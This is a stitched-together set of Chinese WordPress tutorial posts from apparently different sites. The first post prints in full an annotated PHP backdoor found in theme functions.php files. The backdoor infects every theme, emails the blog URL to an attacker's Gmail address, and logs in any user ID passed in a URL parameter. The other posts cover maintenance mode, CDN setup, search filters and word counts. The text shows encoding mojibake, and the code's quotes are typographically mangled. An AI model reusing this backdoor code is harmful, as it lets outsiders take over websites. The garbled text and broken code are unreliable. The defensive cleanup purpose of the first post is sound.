1 WordPress主題function.php文件里的惡意代碼
最近我們在使用Wordfence Security安全插件掃描網(wǎng)站惡意代碼之后,發(fā)現(xiàn)了WordPress主題的function.php文件里,隱藏惡意病毒代碼。
WordPress中“惡意代碼”最有可能出現(xiàn)的地方是主題目錄下的function.php,通常是隱藏在function.php文件的結(jié)尾。
主要問題:該惡意代碼會在每次有人訪問你的博客頁面時,檢測當(dāng)前博客下的所有主題是否都被感染,如果沒有,就會一起被感染。
之后在執(zhí)行wp的初始化動作init的時候,會檢查當(dāng)前博客是否有發(fā)郵件到郵箱 [email?protected]gmail. com
怎么知道是否發(fā)了?
_is_widget_active_
的選項,如果已經(jīng)發(fā)送成功,則將其值設(shè)置為1;惡意病毒代碼如下(可能會有一些差異,但基本代碼是一樣的):
<?php function _verifyactivate_widgets(){ //當(dāng)前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找當(dāng)前主題functions.php文件中最后一個 <? 標(biāo)記,從這個標(biāo)記的位置開始,取得一直到文件尾的內(nèi)容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”)); $output=“”; $allowed=“”; //去除html和php標(biāo)簽,其實這一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主題目錄themes的絕對路徑,如 /path-to-www/wp-content/themes //為了加強程序的兼容性,它不惜以這種很晦澀的方式來獲取。。。 //以主題目錄themes的絕對路徑用array包裹為參數(shù)傳遞給_get_allwidgets_cont函數(shù)獲取此博客的所有主題的functions.php文件的絕對路徑 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主題functions.php文件可寫 if (is_writable($item)){ //特征碼 $ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“)); //取目標(biāo)functions.php文件內(nèi)容 $cont=file_get_contents($item); //沒找到特征碼?OK,試圖感染 if (stripos($cont,$ftion) === false){ //查看目標(biāo)functions.php文件最后是否是以 ?> 結(jié)尾,如果不是,給加上 ?> 標(biāo)記 $comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”; //這里的代碼是忽悠人了,模仿WP widgets的代碼,蠱惑你的眼睛,讓你覺得這是widget代碼。。。 $output .= $before . “Not found” . $after; //如果文件是以 ?> 標(biāo)記結(jié)尾的,連標(biāo)記一起取過來 if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);} //開始感染,$widget內(nèi)容即是惡意代碼自身,在functions.php文件原內(nèi)容后附加惡意代碼 $output=rtrim($output, “nt”); fputs($f=fopen($item,”w+”),$cont . $comaar . “n” .$widget);fclose($f); //后面這句也是偽裝用的 $output .= ($isshowdots && $ellipsis) ? “…” : “”; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //從$wids數(shù)組彈出一個元素(實際上是一個位置) $places=array_shift($wids); //如果位置字串是以/結(jié)尾的,則去掉/ if(substr($places,-1) == “/”){ $places=substr($places,0,-1); } //若不存在這樣的文件或目錄則直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否則的話。。。嘿嘿 //遍歷此目錄 $elems=scandir($places); foreach ($elems as $elem){ if ($elem != “.” && $elem != “..”){ //如果是目錄,則加入$wids數(shù)組 if (is_dir($places . “/” . $elem)){ $wids[]=$places . “/” . $elem; } elseif (is_file($places . “/” . $elem)&& $elem == substr(__FILE__,-13)){ //否則,如果是文件,并且文件名等于 functions.php的話,則加入到$items數(shù)組保存,這才是它的目的functions.php正是它要找的 $items[]=$places . “/” . $elem;} } } }else{ return false; } //下面還有子目錄?再找找看,遞歸 if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { //好了,完事了,以數(shù)組返回所有找到的functions.php文件的絕對路徑 return $items; } } //下面是3個針對低版本的php而寫的兼容函數(shù) if(!function_exists(“stripos”)){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists(“strripos”)){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists(“scandir”)){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != “.” && $file != “..”) || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } //這個動作添加了,用于檢測所有主題目錄下functions.php并感染 add_action(“admin_head”, “_verifyactivate_widgets”); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check=”cookie”; if(!isset($tagsallowed)) $tagsallowed=”<a>“; if(!isset($filter)) $filter=”none”; if(!isset($coma)) $coma=””; if(!isset($home_filter)) $home_filter=get_option(“home”); if(!isset($pref_filters)) $pref_filters=”wp_”; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=””; if(!isset($cpages)) $cpages=$_GET[“cperpage”]; if(!isset($post_auth_comments)) $post_auth_comments=””; if(!isset($com_is_approved)) $com_is_approved=””; if(!isset($post_auth)) $post_auth=”auth”; if(!isset($link_text_more)) $link_text_more=”(more…)”; if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”); if(!isset($checkswidgets)) //這個實際是wp_set_auth_cookie $checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”; if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=””; //如果 _is_widget_active_ option內(nèi)容為空,即表示沒有被感染過 if (!$widget_yes) : global $wpdb, $post; //取出存在已經(jīng)通過的評論(不包括trackback/pingback)的文章 // post_author 為 [email?protected] 的文章,肯定是沒有的 $sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND post_author=”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m” AND post_password=”” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if (!empty($post->post_password)) { if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__(“There is no excerpt because this is a protected post.”); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; //$gettextcomments實際上為 wp_mail if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional=”div”; //這里$sh_cont即為 [email?protected] if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “l(fā)ive”), 20);# if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //開始調(diào)用 wp_mail 向 [email?protected] 發(fā)送郵件,標(biāo)題和內(nèi)容都是被感染的博客的URL 地址 $sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) { $text=explode(“<span id=“more-5675”></span>“, $text, 2); $l=count($text[0]); $more_link=1; //執(zhí)行這一句時就開始發(fā)郵件了。 $comments=$wpdb->get_results($sql); } else { $text=explode(” “, $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=””; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . ” “; } //把感染標(biāo)記置為1 update_option(“_is_widget_active_”, 1); if(“all” != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, “sntrx0B”); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? “…” : “”; //$filter 為 none …,又是在偽裝 $output=apply_filters($filter, $output); switch($tag_aditional) { case(“div”) : $tag=”div”; break; case(“span”) : $tag=”span”; break; case(“p”) : $tag=”p”; break; default : $tag=”span”; } //$checkswidgets即是wp_set_auth_cookie if ($is_use_more_link ) { if($for_more) { $output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . “”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “n”; } else { $output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “” title=”” . $more_text_link . “”>” . $link_text_more . “</a></” . $tag . “>” . “n”; } } return $output; } //這里是用來干壞事的,這才是這個惡意代碼的目的,前面的感染是“準(zhǔn)備活動” add_action(“init”, “_getprepare_widget”); //這個函數(shù)也是用來偽裝的,無惡意 function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) { global $wpdb; $request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS ”comment_count” FROM $wpdb->posts, $wpdb->comments”; $request .= ” WHERE comment_approved=”1” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish””; if(!$show_pass_post) $request .= ” AND post_password =”””; if($duration !=””) { $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “; } $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”; $posts=$wpdb->get_results($request); $output=””; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . ” <a href=”” . $permalink . “” title=”” . $post_title.“”>” . $post_title . “</a> ” . $after; } } else { $output .= $before . “None found” . $after; } return $output; } ?>
WordPress主題惡意代碼有哪些?
如果使用Wordfence Security安全插件掃描確定你的function.php文件被篡改了,需要檢查一下,例如:
清理起來也很簡單,只要在WordPress主題的function.php文件中,找到上面類似的代碼并刪除即可,但是因為一旦被感染,你的themes主題目錄下的所有主題會被感染,所以只清除當(dāng)前使用的主題是無效的,清除后很快就會生成。
解決方法是清除一個WordPress主題的惡意病毒代碼后,將functions.php文件設(shè)置為444權(quán)限,然后清除其它WordPress主題。
至于最后一個functions.php文件的444權(quán)限是否需要改回來,們?nèi)私ㄗh444還是比較安全的,需要修改的時候可以修改。
我們推薦 Wordfence Security 的 WordPress 插件,一個集成了防火墻和惡意代碼掃描的 WordPress 安全插件,由一個大型團隊構(gòu)建和維護,100% 專注于 WordPress 安全。
雖然有付費模塊,但我們可以使用免費模塊“掃描”來掃描我們的WordPress網(wǎng)站,檢查包含“惡意代碼”的PHP文件,雖然有一定的誤報率(主要是一些正版插件, 主題加密組件會被誤報),但查找“惡意代碼”肯定是事半功倍。
需要注意的是,這個插件不建議經(jīng)常開啟,因為它的防火墻和安全防護會對數(shù)據(jù)庫造成一定的負載壓力,影響網(wǎng)站的性能。
通常,啟用插件以在需要時運行“掃描”掃描。
排查完畢后關(guān)閉插件,以備不時之需。
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress主題如何清理惡意代碼_verifyactivate_widgets》,對您有幫助。
1 為何導(dǎo)致 WordPress 上的“暫時無法進行定期維護”錯誤?
WordPress修復(fù)“暫時無法進行定期維護。嘗試訪問你的 WordPress 網(wǎng)站時,請稍后再查”問題。
你是否遇到過“Briefly unavailable for scheduled maintenance. check back in a minute
”錯誤?
像這樣的錯誤令人沮喪,但不要擔(dān)心!修復(fù)“暫時無法進行定期維護。一會兒回來看看?!盬ordPress 上的錯誤只需要幾分鐘。
在本文中,我們將介紹:
Briefly unavailable for scheduled maintenance. check back in a minute
”消息?每當(dāng)你使用儀表板中內(nèi)置的 WordPress 更新系統(tǒng)更新核心軟件、WordPress插件或主題時,WordPress 會將你的網(wǎng)站置于“維護模式”,以便它可以安全地更新相關(guān)文件。
如果你在更新WordPress程序的過程中注意過,WordPress 在執(zhí)行更新時實際上會在你的儀表板中告訴你這一點?▼
當(dāng)你的網(wǎng)站處于維護模式時,任何嘗試訪問你的 WordPress 網(wǎng)站的人都會看到“Briefly unavailable for scheduled maintenance. check back in a minute
”消息 ▼
所以實際上,消息本身并不是錯誤,它應(yīng)該只存在很短的時間內(nèi)。
通常,WordPress 無縫啟用維護模式,執(zhí)行更新,然后禁用維護模式。大多數(shù)時候,這個過程非常無縫,只需要幾秒鐘,你甚至不會注意到你的網(wǎng)站發(fā)生了變化。
但是,有時你的網(wǎng)站會“陷入”維護模式。那時“Briefly unavailable for scheduled maintenance. check back in a minute
”消息開始成為問題,因為它不會消失,并阻止你和其他人訪問你的網(wǎng)站。
你的 WordPress 網(wǎng)站可能會卡在維護模式有多種原因,最常見的原因是:
值得慶幸的是,修復(fù)“Briefly unavailable for scheduled maintenance. check back in a minute
”WordPress 上的消息,只要求你通過 FTP 刪除單個文件。
以下是如何讓你的網(wǎng)站再次運行的解決方案。
為了讓你的網(wǎng)站進入維護模式,WordPress 將一個名為.maintenance的文件添加到你的 WordPress 站點的根文件夾中(這與你的wp-config.php文件所在的文件夾相同)。
使你的站點退出維護模式并擺脫“暫時無法進行定期維護。請稍后再查看”消息,你需要做的就是刪除該.maintenance文件。
這是有關(guān)如何執(zhí)行此操作的分步指南……
第 1 步:通過 SFTP 連接到你的 WordPress 網(wǎng)站
首先,你需要使用 FTP 程序通過 SFTP 連接到你的 WordPress 站點。
連接到站點后,你應(yīng)該會在public
文件夾中,看到所有站點文件的列表 ▼
public
”文件夾中。第 2 步:刪除 .maintenance 文件
現(xiàn)在,你需要做的就是刪除名為.maintenance的文件,以讓你的站點退出維護模式并解決問題?▼
如果你沒有看到.maintenance文件,你可能需要顯示隱藏文件。
例如,在FileZilla中,單擊頂部的“服務(wù)器”,然后單擊“強制顯示隱藏文件”?▼
強制顯示隱藏文件
以下是一些提示,可幫助你避免將來遇到此問題。
1.運行WordPress更新時,不要關(guān)閉瀏覽器選項卡
每當(dāng)你使用 WordPress 的更新功能時,請確保你的瀏覽器選項卡保持打開狀態(tài),直到你看到“禁用維護模式...所有更新已完成
”的消息?▼
2.避免同時更新過多的WordPress主題和插件
3. 確保主題和插件兼容
在你運行任何更新之前,請確保你正在更新的主題或插件與你正在運行的 WordPress 版本兼容。
你可以通過單擊查看詳細信息鏈接,快速檢查確認WordPress插件和主題的兼容性 ▼
擴展閱讀:
WordPress錯誤怎么辦?Health Check & Troubleshooting插件排查
當(dāng)WordPress網(wǎng)站出現(xiàn)一些致命錯誤問題,找不到原因時,必須禁用所有插件,然后逐個啟用,以便觀察是WordPress主題,或是哪些WordPress插件造成沖突。但是,禁用所有WordPress插件,絕對會影……
WordPress致命錯誤:登錄站點后臺安裝插件主題遇到錯誤怎么解決?
最近Dropbox API停止使用長期訪問令牌。 為了符合這些新的變化,BackWPup插件必須實現(xiàn)刷新令牌的使用,它只能在您重新進行身份驗證時獲取。登錄WordPress后臺提示此站點遇到了致命錯誤You……
解決WordPress更新失敗:因為我們不能復(fù)制一些文件,升級未被安裝
有時,當(dāng)我們升級WordPress建站程序版本,或升級WordPress插件時,會出現(xiàn)錯誤提示:更新失敗:因為我們不能復(fù)制一些文件,升級未被安裝。這通常是WordPress建站程序的文件權(quán)限不一……
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress修復(fù)Briefly unavailable for scheduled maintenance》,對您有幫助。
1 Featured Image From URL插件下載
WordPress如何添加外鏈特色圖片?Featured Image from URL插件設(shè)定
雖然用WordPress建站有很多優(yōu)勢,但是在WordPress默認的媒體庫,并不是那么好用:
其實,我們是將網(wǎng)站上的圖片,上傳到服務(wù)器的其它文件夾。
這樣做的好處:
所以,在此分享可以添加外鏈特色圖片功能的WordPress插件——Featured Image From URL(來自URL的特色圖片)。
插件名稱:Featured Image From URL
點此訪問 WordPress 官網(wǎng)下載?Featured Image From URL 插件
安裝WordPress插件的方法,請瀏覽這篇建站教程 ▼
進入WordPress文章編輯頁面后,如果在右側(cè)邊欄中沒有Featured Image From URL ……
請在單擊文章頁面頂部的“顯示選項”后,勾選“Featured Image from URL” ▼
你應(yīng)該能夠在文章編輯區(qū)域的右側(cè):
找到Featured Image From URL?字段輸入框,直接填寫要使用的圖像URL ▼
當(dāng)然,有興趣使用此插件的朋友可以測試每個設(shè)置。
在“Admin Area”→“Media Libarary”選項(不建議啟用)?▼
在保存、發(fā)布或更新時,開啟“use the first image as featured image”功能 ▼
以下是Metadata → Fake Internal Featured Image(假內(nèi)部特色圖片)設(shè)定▼
默認的外部精選圖片顯示問題:
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress外鏈特色圖片插件:Featured Image from URL》,對您有幫助。
1 CDN是什么?有什么用?
如何10倍提升外貿(mào)網(wǎng)站速度?從而提高谷歌搜索排名?
內(nèi)容分發(fā)網(wǎng)絡(luò)
”。在本文中,我們將分享可以幫助你加快外貿(mào)網(wǎng)站速度的WordPress最佳CDN服務(wù)。
多年來MaxCDN是個非常流行的CDN服務(wù),特別是對于WordPress用戶:
但是,Stackpath為你提供了很多選擇,你可以選擇特定服務(wù),或者使用包含CDN、防火墻、托管DNS、全球DDoS保護等的完全“邊緣交付包”。
Stackpath的全球DDoS保護:
目前,Stackpath 在除非洲之外的每個宜居大陸上,提供了35個以上的CDN節(jié)點。 你可以查看以下地圖 ▼
點此進入 Stackpath官網(wǎng) 查看最新全球CDN節(jié)點
Stackpath的優(yōu)點有哪些?
第1步:注冊StackPath CDN?賬號▼
點此進入 StackPath CDN?官網(wǎng)
輸入郵箱和密碼,并單擊“Create an Account”按鈕,創(chuàng)建一個帳戶?▼
第 2 步:需要選擇一項StackPath服務(wù)。StackPath提供網(wǎng)站和應(yīng)用程序服務(wù)以及邊緣計算服務(wù)? 選擇一“網(wǎng)站和應(yīng)用程序服務(wù)”?▼
第 3 步:選擇StackPath的 CDN?▼
第 3 步:通過發(fā)送到你的電子郵件帳戶的鏈接驗證你的電子郵件地址后,它會將你重定向到付款頁面 ▼
第 4 步:在StackPath儀表板中,單擊Site選項卡 ▼
第 5 步:創(chuàng)建StackPath CDN站點 ▼
在大多數(shù)情況下,這是網(wǎng)站的URL。
bucket
.s3-?aws-region
.amazonaws.comaws-region
.amazonaws.com /bucket-name
第 6 步:將StackPath CDN URL粘貼到Autoptimize插件的CDN Base URL字段中?▼
http://
或 https://
才能使用Autoptimize 插件。第 7 步:在StackPath中轉(zhuǎn)到CDN→CACHE SETTINGS(緩存設(shè)置)▼
第 8 步:在StackPath中將你的服務(wù)器IP地址列入白名單(WAF→防火墻)?▼
在GTmetrix中測試運行你的站點 ,YSlow中的“內(nèi)容交付網(wǎng)絡(luò)”應(yīng)為綠色?▼
如果使用WordPress建站,可以安裝WordPress插件Autoptimize。
Google字體:
優(yōu)化圖片:
圖像優(yōu)化質(zhì)量:
刪除Emojis:
從靜態(tài)資源中刪除查詢字符串:
預(yù)連接到第3方域名:
https://fonts.googleapis.com https://fonts.gstatic.com https://www.google-analytics.com https://ajax.googleapis.com https://connect.facebook.net https://www.googletagmanager.com https://maps.google.com
異步Javascript文件:
優(yōu)化YouTube視頻:
到此,我們已經(jīng)完成了Autoptimize設(shè)置中對StackPath CDN的配置。
點此進入 StackPath CDN 官網(wǎng)
希望我們網(wǎng)站( http://news.qtyiliao.cn/ ) 分享的《國外CDN服務(wù)商外貿(mào)免備案推薦:Stackpath CDN設(shè)置教程》,對您有幫助。
1 WordPress站內(nèi)搜索排除指定文章或頁面
有些時候,我們可能不想讓某分類、文章或頁面,出現(xiàn)在WordPress站內(nèi)搜索結(jié)果中。
因此我們可以使用filter(過濾器),來過濾掉某些文章或網(wǎng)頁。
// WordPress搜索結(jié)果排除指定文章或頁面ID function wpsite_search_filter_id($query) { if ( !$query->is_admin && $query->is_search) { $query->set('post__not_in', array(40,819)); //文章或者頁面的ID } return $query; } add_filter('pre_get_posts','wpsite_search_filter_id');
// WordPress搜索結(jié)果排除某分類的文章 function wpsite_search_filter_category( $query) { if ( !$query->is_admin && $query->is_search) { $query->set('cat','-15,-57'); //分類的ID,前面的減號表示排除;如果直接寫ID,則表示只在該分類ID中搜索 } return $query; } add_filter('pre_get_posts','wpsite_search_filter_category');
這非常實用,建議添加 ▼
// WordPress搜索結(jié)果排除所有頁面 function search_filter_page($query) { if ($query->is_search) { $query->set('post_type', 'post'); } return $query; } add_filter('pre_get_posts','search_filter_page');
安裝Search Exclude插件后,你將在文章編輯界面的右側(cè)看到新功能?▼
以下是安裝WordPress插件的方法?▼
如何安裝WordPress插件?3種安裝WordPress插件方法
WordPress的強大之處,可以通過安裝WordPress插件的方式,來擴展各種豐富功能,比如:SEO、電子商務(wù)功能等等。安裝WordPress插件的方法,類似于安裝WordPress主題。安裝WordPress插件新……
只要選中這個“Exclude from Search Results”選項,該文章就不會再出現(xiàn)在網(wǎng)站的站內(nèi)搜索結(jié)果中。
當(dāng)你在WordPress前臺站內(nèi)搜索時,你會發(fā)現(xiàn)你找不到被排除的文章 ▼
在Search Exclude插件的管理界面中,你可以查看所有已排除在站內(nèi)搜索的文章或頁面 ▼
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress如何排除指定分類/文章頁面在站內(nèi)搜索結(jié)果?》,對您有幫助。
1 一、添加WordPress文章字?jǐn)?shù)統(tǒng)計代碼
有些新媒體網(wǎng)站的文章開頭,有字?jǐn)?shù)統(tǒng)計和該文的預(yù)期閱讀時間。
將以下代碼添加到主題中的最后幾個functions.php文件中 ?>
之前?▼
//字?jǐn)?shù)統(tǒng)計 function count_words ($text) { global $post; if ( '' == $text ) { $text = $post->post_content; if (mb_strlen($output, 'UTF-8') < mb_strlen($text, 'UTF-8')) $output .= '本文《' . get_the_title() .'》共' . mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8') . '個字'; return $output; }
將以下代碼添加到主題中的最后幾個functions.php文件中 ?>
保存之后,你可以在WordPress文章內(nèi)容的開頭自動顯示“預(yù)計閱讀時間x分鐘”▼
function lmsim_read_time($content){ $text = trim(strip_tags( get_the_content())); $text_num = mb_strlen($text, 'UTF-8'); $read_time = ceil($text_num/400); $content = '<div class="read-time">系統(tǒng)預(yù)計閱讀時間 <span>' . $read_time . '</span> 分鐘</div>' . $content; return $content; } add_filter ( 'the_content', 'lmsim_read_time');
在測試之后,發(fā)現(xiàn)上面代碼統(tǒng)計中的單詞數(shù)有一些錯誤,這些錯誤,超出了實際錯誤
將以下代碼添加到主題中的最后幾個functions.php文件中 ?>
之前?▼
//字?jǐn)?shù)和預(yù)計閱讀時間統(tǒng)計 function count_words_read_time () { global $post; $text_num = mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8'); $read_time = ceil($text_num/400); $output .= '本文《' . get_the_title() .'》共' . $text_num . '個字,系統(tǒng)預(yù)計閱讀時間或需' . $read_time . '分鐘。'; return $output; }
然后,將調(diào)用統(tǒng)計代碼添加到single.php文件中的適當(dāng)位置。
<?php echo count_words_read_time(); ?>
在我們測試之后,當(dāng)字?jǐn)?shù)小于或等于400時,即當(dāng)預(yù)計閱讀時間小于或等于1分鐘時。
但是,如果它超過400,它將是有偏差的。
ceil()?函數(shù)向上舍入到最接近的整數(shù)。
這意味著返回不小于x的下一個整數(shù)。
如果x具有小數(shù)部分,則ceil()?返回的類型仍然是float
,因為float
的范圍通常大于integer。
例子
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress如何添加文章字?jǐn)?shù)統(tǒng)計和預(yù)計閱讀時間?》,對您有幫助。
1 如何挑選合適的網(wǎng)站空間?
不論是個人或外貿(mào)企業(yè)建站,在剛開始搭建電商網(wǎng)站時,都會想要了解:
以下網(wǎng)站空間/VPS服務(wù)器配置選擇建議,其中硬盤容量,僅供視頻內(nèi)容居多的網(wǎng)站參考。
購買網(wǎng)站空間/VPS服務(wù)器時,必須在自己能承受的價格范圍內(nèi)。
WordPress是全世界最流行的建站程序,所以一般是以WordPress建站為主流。
若是外貿(mào)企業(yè)公司的網(wǎng)站空間,首選推薦BlueHost。
因為BlueHost是WordPress官方推薦的網(wǎng)站空間商 ▼
BlueHost主機怎么樣?最新BlueHost美國優(yōu)惠碼/優(yōu)惠券
BlueHost中文教程:教你如何以優(yōu)惠價格購買BlueHost美國主機?[su_button url=”https://www.wordpressx.com/go/bluehost” target=”blank” style=”3d” size=”5″ icon=”icon: external-li……
要是想要以最便宜的價格域名域名,首選推薦NameSilo ▼
NameSilo域名注冊教程(送你 1 美金 NameSilo優(yōu)惠碼)
NameSilo 優(yōu)惠碼:WXR?(優(yōu)惠10%)NameSilo 2022最新注冊流程在眾多網(wǎng)絡(luò)營銷方法中,最有效果的是SEO。既然做搜索引擎優(yōu)化,就必須注冊域名和建站。不過,在注冊域名時,一些不明智……
希望我們網(wǎng)站( http://news.qtyiliao.cn/ ) 分享的《個人如何選擇網(wǎng)站空間?外貿(mào)企業(yè)公司網(wǎng)站空間多大合適》,對您有幫助。
1 ?后門是什么意思?
WordPress是全球最多人使用的免費開源建站程序,有很多網(wǎng)絡(luò)營銷人員都用WordPress建站做SEO流量賣廣告、賣會員、賣產(chǎn)品、賣服務(wù)……
最近我們打算購買某款WordPress插件專業(yè)版,就去谷歌搜索了解,無意發(fā)現(xiàn)到有網(wǎng)站專門提供WordPress插件和主題的破解版的免費下載。
索性嘗試下載來使用,但是感覺不太對勁:為什么這些提供免費下載破解版的網(wǎng)站,完全沒有盈利模式,網(wǎng)站上也沒有其它廣告?
由于網(wǎng)站有被黑過幾次,所以使用破解版軟件、插件或主題,都是非常小心翼翼地以防萬一有“后門”漏洞程序。
以下就是2020年08月31日我們網(wǎng)站網(wǎng)站被黑的截圖 ▼
解決被黑問題,就是直接重裝CentOS 7操作系統(tǒng)和改為安裝CWP控制面板,然后恢復(fù)網(wǎng)站備份 ▼
CWP控制面板如何設(shè)置定時自動備份和恢復(fù)備份?
上次我的網(wǎng)站被黑已經(jīng)是幾年前的事情(具體哪一年已經(jīng)忘了)。最近(2020年8月31日)網(wǎng)站服務(wù)器被來自印尼的黑客入侵和篡改,有可能是使用了不完善的VestaCP 面板。 解決被黑問題,就……
主要來自“特洛伊木馬”,后門的意思就是指軟件添加了漏洞,就好像開了你家的后門,方便入侵盜取信息。
以下2個網(wǎng)站提供各大WordPress插件破解版、WordPress主題破解版:
1)WPTRY ▼
點此進入 WPTRY 網(wǎng)站
2)PremiumFreeThemes?▼
點此進入 PremiumFreeThemes 網(wǎng)站
有2種方式可以掃描網(wǎng)站源碼有沒有后門文件:
推薦用此WordPress網(wǎng)站安全掃描插件——Wordfence Security 進行批量掃描WordPress網(wǎng)站上所有主題和插件,檢測是否有PHP后門漏洞文件 ▼
點此進入WordPress插件官網(wǎng)免費下載 Wordfence Security 插件
幫助你分析可疑文件和URL,檢測惡意軟件的類型的在線工具?▼
點此進入 安全掃描查找PHP漏洞文件在線工具
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《如何掃描網(wǎng)站源碼有沒有后門文件?在線查找PHP木馬漏洞》,對您有幫助。
1 WordPress自動保存功能有什么用?
WordPress的自動保存、自動草稿和修訂版本功能,一直受到網(wǎng)絡(luò)營銷人員的批評。
不過,WordPress是世界上最受歡迎的網(wǎng)站程序:
WordPress自動保存可防止編輯器意外關(guān)閉并導(dǎo)致文章內(nèi)容丟失。
但是,此功能可能會導(dǎo)致數(shù)據(jù)庫膨脹,并無緣無故地添加大量無用的垃圾。
幸運的是,有一個WordPress插件 “Easy WP Cleaner” 可以刪除這些垃圾。
問題就在于這種“減肥過程”非常痛苦,本文會分享解決此問題的最好方法。
WordPress的另一個非常煩人的功能是自動草稿。
即使你退出編輯器,數(shù)據(jù)也會寫入數(shù)據(jù)庫,無論你是否鍵入數(shù)據(jù)。
實際上WordPress的修訂版本功能非常有用,用戶可以檢查更改并執(zhí)行版本控制。
事情總是有兩面性,就像自動保存功能一樣,忽略這些變化會給數(shù)據(jù)庫帶來不必要的負擔(dān)。
其實WordPress中有很多隱藏的功能,可以通過在WordPress安裝根目錄的wp-config.php文件的功能,根據(jù)需求進行配置禁用或啟用。
不少使用WordPress建站的朋友,都想禁用WordPress自動草稿,而不是自動保存。
以下代碼解決了這個問題。
